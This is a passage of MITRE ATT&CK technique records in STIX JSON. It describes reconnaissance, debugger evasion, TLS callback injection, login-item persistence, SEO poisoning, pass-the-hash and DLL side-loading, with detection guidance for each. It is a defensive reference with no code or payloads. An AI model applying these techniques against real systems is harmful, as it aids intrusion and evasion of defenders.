Enumeration"],"type":"attack-pattern","id":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","created":"2017-05-31T21:30:43.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1046","external_id":"T1046"},{"source_name":"apple doco bonjour description","description":"Apple Inc. (2013, April 23). Bonjour Overview. Retrieved October 11, 2021.","url":"https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html"},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"},{"source_name":"macOS APT Activity Bradley","description":"Jaron Bradley. (2021, November 14). What does APT Activity Look Like on macOS?. Retrieved January 19, 2022.","url":"https://themittenmac.com/what-does-apt-activity-look-like-on-macos/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-21T14:32:05.257Z","name":"Domain Properties","description":"Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_platforms":["PRE"],"x_mitre_is_subtechnique":true,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Jannie Li, Microsoft Threat Intelligence Center (MSTIC)"],"type":"attack-pattern","id":"attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d","created":"2020-10-02T15:46:24.670Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1590/001","external_id":"T1590.001"},{"source_name":"Circl Passive DNS","description":"CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.","url":"https://www.circl.lu/services/passive-dns/"},{"source_name":"Azure Active Directory Reconnaisance","description":"Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.","url":"https://o365blog.com/post/just-looking/"},{"source_name":"DNS Dumpster","description":"Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.","url":"https://dnsdumpster.com/"},{"source_name":"Office 265 Azure Domain Availability","description":"Microsoft. (2017, January 23). (Cloud) Tip of the Day: Advanced way to check domain availability for Office 365 and Azure. Retrieved May 27, 2022.","url":"https://docs.microsoft.com/en-us/archive/blogs/tip_of_the_day/cloud-tip-of-the-day-advanced-way-to-check-domain-availability-for-office-365-and-azure"},{"source_name":"WHOIS","description":"NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.","url":"https://www.whois.net/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-16T00:16:06.689Z","name":"Software Discovery","description":"Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nSuch software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072), and may allow adversaries broad access to infect devices or move laterally.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","IaaS","Linux","macOS"],"x_mitre_version":"1.4","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution","Process: Process Creation","Firewall: Firewall Enumeration","Firewall: Firewall Metadata"],"type":"attack-pattern","id":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","created":"2019-09-16T17:52:44.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1518","external_id":"T1518"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:51:56.279Z","name":"Cloud Service Dashboard","description":"An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)\n\nDepending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Praetorian","Obsidian Security"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["IaaS","SaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.4","x_mitre_data_sources":["Logon Session: Logon Session Creation","User Account: User Account Authentication"],"type":"attack-pattern","id":"attack-pattern--e49920b0-6c54-40c1-9571-73723653205f","created":"2019-08-30T18:11:24.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1538","external_id":"T1538"},{"source_name":"AWS Console Sign-in Events","description":"Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.","url":"https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html"},{"source_name":"Google Command Center Dashboard","description":"Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.","url":"https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744","type":"attack-pattern","created":"2020-01-14T01:30:41.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.005","url":"https://attack.mitre.org/techniques/T1055/005"},{"url":"https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html","description":"Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.","source_name":"FireEye TLS Nov 2017"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"}],"modified":"2021-10-18T12:24:54.198Z","name":"Thread Local Storage","description":"Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Modification","Process: Process Access","Process: OS API Execution"],"x_mitre_defense_bypassed":["Anti-virus","Application control"]},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["TruKno"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","created":"2022-04-01T17:59:46.156Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1622","url":"https://attack.mitre.org/techniques/T1622"},{"source_name":"Checkpoint Dridex Jan 2021","url":"https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/","description":"Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."},{"source_name":"hasherezade debug","url":"https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf","description":"hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022."},{"source_name":"AlKhaser Debug","url":"https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug","description":"Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022."},{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."},{"source_name":"ProcessHacker Github","url":"https://github.com/processhacker/processhacker","description":"ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022."},{"source_name":"vxunderground debug","url":"https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug","description":"vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)\n\nDebugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.\n\nSpecific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)\n\nAdversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)","modified":"2022-04-16T15:05:55.918Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Debugger Evasion","x_mitre_detection":"Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\n\nMonitor debugger logs for signs of abnormal and potentially malicious activity.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: Process Creation","Process: OS API Execution","Application Log: Application Log Content","Command: Command Execution"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-30T21:01:52.873Z","name":"Space after Filename","description":"Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Erye Hernandez, Palo Alto Networks"],"x_mitre_detection":"It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","macOS"],"x_mitre_version":"1.0","x_mitre_data_sources":["File: File Metadata"],"x_mitre_permissions_required":["User"],"type":"attack-pattern","id":"attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86","created":"2020-02-10T20:47:10.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1036/006","external_id":"T1036.006"},{"source_name":"Mac Backdoors are back","description":"Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.","url":"https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e","created":"2020-01-24T18:15:06.641Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1547.007","url":"https://attack.mitre.org/techniques/T1547/007"},{"source_name":"Re-Open windows on Mac","url":"https://support.apple.com/en-us/HT204005","description":"Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017."},{"source_name":"Methods of Mac Malware Persistence","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."},{"source_name":"Wardle Persistence Chapter","url":"https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf","description":"Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.","modified":"2022-04-19T23:46:56.443Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Re-opened Applications","x_mitre_detection":"Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","File: File Modification"],"x_mitre_permissions_required":["User"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-14T15:03:56.383Z","name":"SEO Poisoning","description":"Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)\n\nTo help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)\n\nIn addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity(Citation: Chexmarx-seo) which may be targeted and gamed by malicious actors.(Citation: Checkmarx-oss-seo)\n\nAdversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Menachem Goldstein","Vijay Lalwani","Will Thomas, Equinix Threat Analysis Center (ETAC)","Will Jolliffe","Hiroki Nagahama, NEC Corporation","Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","x_mitre_data_sources":["Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--e5d550f3-2202-4634-85f2-4a200a1d49b3","created":"2022-09-30T21:14:12.284Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1608/006","external_id":"T1608.006"},{"source_name":"MalwareBytes SEO","description":"Arntz, P. (2018, May 29). SEO poisoning: Is it worth it?. Retrieved September 30, 2022.","url":"https://www.malwarebytes.com/blog/news/2018/05/seo-poisoning-is-it-worth-it"},{"source_name":"Atlas SEO","description":"Atlas Cybersecurity. (2021, April 19). Threat Actors use Search-Engine-Optimization Tactics to Redirect Traffic and Install Malware. Retrieved September 30, 2022.","url":"https://atlas-cybersecurity.com/cyber-threats/threat-actors-use-search-engine-optimization-tactics-to-redirect-traffic-and-install-malware/"},{"source_name":"Sophos Gootloader","description":"Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.","url":"https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"},{"source_name":"DFIR Report Gootloader","description":"The DFIR Report. (2022, May 9). SEO Poisoning – A Gootloader Story. Retrieved September 30, 2022.","url":"https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/"},{"source_name":"ZScaler SEO","description":"Wang, J. (2018, October 17). Ubiquitous SEO Poisoning URLs. Retrieved September 30, 2022.","url":"https://www.zscaler.com/blogs/security-research/ubiquitous-seo-poisoning-urls-0"},{"source_name":"Chexmarx-seo","description":"Yehuda Gelb. (2023, November 30). The GitHub Black Market: Gaming the Star Ranking Game. Retrieved June 18, 2024.","url":"https://zero.checkmarx.com/the-github-black-market-gaming-the-star-ranking-game-fc42f5913fb7"},{"source_name":"Checkmarx-oss-seo","description":"Yehuda Gelb. (2024, April 10). New Technique to Trick Developers Detected in an Open Source Supply Chain Attack. Retrieved June 18, 2024.","url":"https://checkmarx.com/blog/new-technique-to-trick-developers-detected-in-an-open-source-supply-chain-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-07-28T18:24:16.246Z","name":"Pass the Hash","description":"Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_contributors":["Blake Strom, Microsoft 365 Defender","Travis Smith, Tripwire"],"x_mitre_deprecated":false,"x_mitre_detection":"Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nEvent ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Logon Session: Logon Session Creation","Active Directory: Active Directory Credential Request","User Account: User Account Authentication"],"x_mitre_defense_bypassed":["System Access Controls"],"type":"attack-pattern","id":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","created":"2020-01-30T16:36:51.184Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1550/002","external_id":"T1550.002"},{"source_name":"Stealthbits Overpass-the-Hash","description":"Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.","url":"https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["William Cain"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549","type":"attack-pattern","created":"2017-05-31T21:30:46.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1052","external_id":"T1052"}],"modified":"2021-10-15T22:48:29.702Z","name":"Exfiltration Over Physical Medium","description":"Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Monitor file access on removable media. Detect processes that execute when removable media are mounted.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Drive: Drive Creation","Process: Process Creation","Command: Command Execution"],"x_mitre_system_requirements":["Presence of physical medium or device"],"x_mitre_is_subtechnique":false},{"modified":"2023-03-30T21:01:47.241Z","name":"DLL Side-Loading","description":"Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_attack_spec_version":"2.1.0","x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or 